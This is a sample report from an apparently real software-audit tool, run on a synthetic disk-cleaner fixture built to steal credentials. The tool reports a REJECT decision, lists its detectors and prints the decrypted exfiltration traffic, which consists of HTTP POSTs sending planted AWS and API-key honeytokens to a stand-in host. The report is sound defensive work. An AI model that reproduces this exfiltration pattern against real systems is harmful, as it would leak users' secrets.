Sample report

Generated by swaudit from a synthetic audit fixture · source: docs/samples/misbehaving-cred-exfil-windows-vm.report.md

This is what an approver receives. The candidate here is a synthetic fixture built to steal credentials, so every value below is fictional, including the planted secrets. A real report adds a signature envelope you can check against the key id on the Trust page, and is also issued as Approver, Auditor and Forensic PDFs.

Target: misbehaving-cred-exfil-windows-vm

Run window: 2026-08-07T12:00:00Z — 2026-08-07T12:03:00Z (3 minutes)

Cinderpath Disk Cleaner (synthetic audit fixture) corpus-1

During this audit the candidate exfiltrated 2 of 2 planted honeytokens.

Recommended decision

REJECT — 2 high-severity findings, all honeytoken exfiltration. A honeytoken value exists nowhere outside this audit, so its appearance on the wire is unambiguous.

Top concerns

Summary

Severity Count
high 2
medium 0
low 0
info 0

At a glance

What was tested. Audit observed the candidate for 3 minutes with 22 streaming detectors enabled and 2 honeytokens planted across credential, PII, browser-cookie, wallet, and API-key locations; no vendor manifest was supplied. Mode is dynamic — the candidate ran inside an instrumented sandbox and produced syscall, TLS, and filesystem evidence. Static reverse-engineering and signature checks are out of scope.

About this candidate

Curated descriptive metadata about the audited software, recorded so the approver can compare findings against the vendor's stated behavior. Independent of run-time observation.

Field Value
Name Cinderpath Disk Cleaner (synthetic audit fixture)
Vendor / publisher Fictional vendor — synthetic fixture from the app-audit corpus; no such company or product exists
Version audited corpus-1
Category disk cleanup / temporary-file utility
License Not distributed — built from the app-audit repository as an audit fixture

Description. Stated by the vendor, recorded unverified: Cinderpath Disk Cleaner scans the user profile for temporary files, stale installer caches and orphaned log data, reports how much space each category is using, and removes the categories the user selects. It is a single-window desktop utility: there is no background service and no scheduled task, it holds no account and requires no sign-in, and it runs with the permissions of the user who started it.

Stated network behavior. Stated by the vendor, recorded unverified: the product works entirely offline apart from a version check against the vendor's own update endpoint when it starts. No file contents, no file names, no directory listings and no usage telemetry are uploaded.

Prior security history. None on record, and none possible: this artifact has never been published, sold or downloaded. It has no project home, no official distribution channel and no release history, so those rows are ABSENT from the table above because there is nothing to record — not because a provenance check was run and came back clean.

Auditor notes. Corpus control positive. The category, description and stated network behaviour above are the FIXTURE'S OWN CLAIM about itself — written the way a vendor writes a product page, recorded unverified, and deliberately silent about the behaviour under test. That is the demonstration: the verdict below is reached from observed behaviour alone, never from what a candidate says about itself. Nothing in this section feeds a detector. Expected outcome: REJECT, backed by a high-severity honeytoken_hit finding. An APPROVE or REVIEW here means the pipeline regressed.

High findings

1. honeytoken aws_credentials_file observed in outbound TLS payload by candidate.exe

Process "candidate.exe" (pid 4242) caused a tls_write event whose payload contained the honeytoken "aws_credentials_file" (planted AWS secret access key in the candidate user's credential store). This token was planted by app-audit at sandbox start and has no legitimate reason to appear anywhere outside its seed location.

Evidence:

2026-08-07T12:00:00Z tls_write comm=candidate.exe pid=4242 data_len=157 data="POST /collect HTTP/1.1\r\nHost: collector.invalid\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\naws_secret_access_ke..."

2. honeytoken api_key_env observed in outbound TLS payload by candidate.exe

Process "candidate.exe" (pid 4242) caused a tls_write event whose payload contained the honeytoken "api_key_env" (planted API key in a machine environment variable). This token was planted by app-audit at sandbox start and has no legitimate reason to appear anywhere outside its seed location.

Evidence:

2026-08-07T12:00:01Z tls_write comm=candidate.exe pid=4242 data_len=140 data="POST /collect HTTP/1.1\r\nHost: collector.invalid\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\napi_key=APPAUDIT-API..."

Process activity summary

Counts per process (comm) of events that produced findings, ranked by total findings.

Process High Medium Low Info Total
candidate.exe 2 0 0 0 2

Attack chains

Findings clustered by process + time around a HIGH-severity anchor. Reads as a causal sequence the approver can follow without reading the raw evidence stream.

Chain 1 — candidate.exe (2 steps, 1s)

TLS plaintext (decrypted egress)

Outbound bytes the in-VM TLS proxy decrypted. Each entry is one tls_write the proxy intercepted; planted honeytoken markers are annotated when present.

TLS write 1 — candidate.exe → :0 (157 bytes)

POST /collect HTTP/1.1  Host: collector.invalid  Content-Type: application/x-www-form-urlencoded    aws_secret_access_key=APPAUDIT-AWSSECRET-7A1F9C2E4B8D6053

TLS write 2 — candidate.exe → :0 (140 bytes)

POST /collect HTTP/1.1  Host: collector.invalid  Content-Type: application/x-www-form-urlencoded    api_key=APPAUDIT-APIKEY-3D8B6A0C5E2F4917

Appendix

The remaining sections are diagnostic and chain-of-custody detail. They are intended for an auditor or security engineer reviewing the work, not for the executive read above.

Findings by detector

Counts of findings produced by each detector, with what each one looks for. A detector with zero counts is enabled but didn't fire — important context for understanding what wasn't found.

Detector Findings What it checks
honeytoken_hit 2 A planted secret that exists nowhere but this audit appeared in outbound traffic — unambiguous proof of exfiltration.
tls_reassembly 0 A marker or PII value split across several TLS writes was reassembled and matched — an attempt to slip data past per-message inspection.
vendor_diff 0 The candidate reached a destination the vendor's manifest does not declare — behaviour outside its stated network footprint.
sensitive_path_access 0 The candidate read a credential, wallet or browser-profile location a normal app has no reason to touch.
tls_coverage 0 Part of the candidate's encrypted traffic could not be inspected, so its contents are unverified — a blind spot, not a clean result.
cloud_metadata_access 0 The candidate queried the cloud instance-metadata endpoint, where credentials and IAM tokens are served.
sandbox_detection 0 The candidate probed for signs it was being analysed — an attempt to behave differently under observation.
host_fingerprinting 0 The candidate collected identifying details about the machine, a common precursor to targeted follow-on activity.
time_manipulation 0 The candidate altered system time or timers, which can defeat scheduling and forensic timelines.
persistence_path 0 The candidate installed a way to survive reboot (a Run key, service, scheduled task or startup entry).
defense_evasion 0 The candidate took steps to disable, blind or evade security controls.
credential_access 0 The candidate attempted to obtain account credentials from the system.
discovery_recon 0 The candidate enumerated the system, network or accounts to map its environment.
lolbin_abuse 0 The candidate used a legitimate built-in Windows binary to carry out an attacker action (living-off-the-land).
data_staging 0 The candidate collected and staged data locally, typically ahead of exfiltration.
input_capture 0 The candidate attempted to capture keystrokes or other user input.
dns_flow 0 The candidate looked up a name with a risky reputation — a DNS-over-HTTPS endpoint, dynamic-DNS provider, algorithmically generated (DGA-like) label or abused TLD.
dns_resolution 0 How the candidate resolved names: a planted secret encoded in a lookup, names its manifest doesn't declare, a resolver other than the system's, or tunnelling-shaped query volume.
beaconing 0 Regular, fixed-interval callbacks to one destination — the signature of command-and-control check-ins.
network_destination 0 An outbound destination the candidate contacted, listed for review against the vendor's declared endpoints.
pii_outbound 0 Credit-card, SSN or email data left the sandbox over the network; confirm the vendor's declared data flows permit it.
crypto_mining 0 A connection to a known mining-pool endpoint, indicating unauthorised use of the machine to mine cryptocurrency.

Run configuration

Honeytokens planted (2)

Decoy secrets seeded into the sandbox before the candidate ran. Each value exists nowhere else, so any appearance on the wire is unambiguous exfiltration. EXFILTRATED means this run caught it leaving.

Token Where it's planted Status
aws_credentials_file planted AWS secret access key in the candidate user's credential store EXFILTRATED (1 hit(s))
api_key_env planted API key in a machine environment variable EXFILTRATED (1 hit(s))

Coverage caveats

ATT&CK techniques observed

No findings in this run mapped to a MITRE ATT&CK® technique. This does not by itself prove no such behaviour occurred — only that no detector that names an ATT&CK technique fired during the observed window (see Scope and limitations).

Regulatory alignment

This section maps observations from this single instrumented run to due-diligence themes in DORA Article 28 (management of ICT third-party risk) and NIS2 Article 21(2)(d) (supply-chain security). It is provided as evidence you can cite toward a due-diligence obligation your organization already holds — not a certification, and not a claim that this software is "DORA-compliant" or "NIS2-compliant." Those obligations rest with your organization; this run is one input to them, never a substitute for your own assessment.

Due-diligence theme Observed in this run Regulatory language it informs
Undisclosed network destinations & data egress No findings in this category during this run DORA Art. 28(1) (assess ICT third-party risk before and during the arrangement); NIS2 Art. 21(2)(d) (supply-chain security)
Confidential-data handling (credential / PII exfiltration) 2 findings DORA Art. 28 (data confidentiality in ICT arrangements); NIS2 Art. 21(2)(d) (supplier security practices)
Host integrity & persistence No findings in this category during this run DORA Art. 28 (integrity of the ICT service); NIS2 Art. 21(2)(d) (supply-chain integrity)
Anti-analysis / sandbox evasion No findings in this category during this run DORA Art. 28 (reliability of the third-party risk assessment); NIS2 Art. 21(2)(d)
Assessment completeness (evidence coverage) No findings in this category during this run DORA Art. 28 (an ICT risk assessment must be complete to be relied upon); NIS2 Art. 21(2)(d)

Where a theme shows no findings, that means no detector in that category fired during the observed window — it does not by itself prove the behavior is absent (see Scope and limitations).

Scope and limitations

This report documents behavior observed during an instrumented run of the candidate in the swaudit sandbox during the stated run window. It is evidence to support your organization's own approval decision — not a certification, endorsement, or guarantee that the software is free of malicious or unwanted behavior. Absence of a finding is not proof of absence.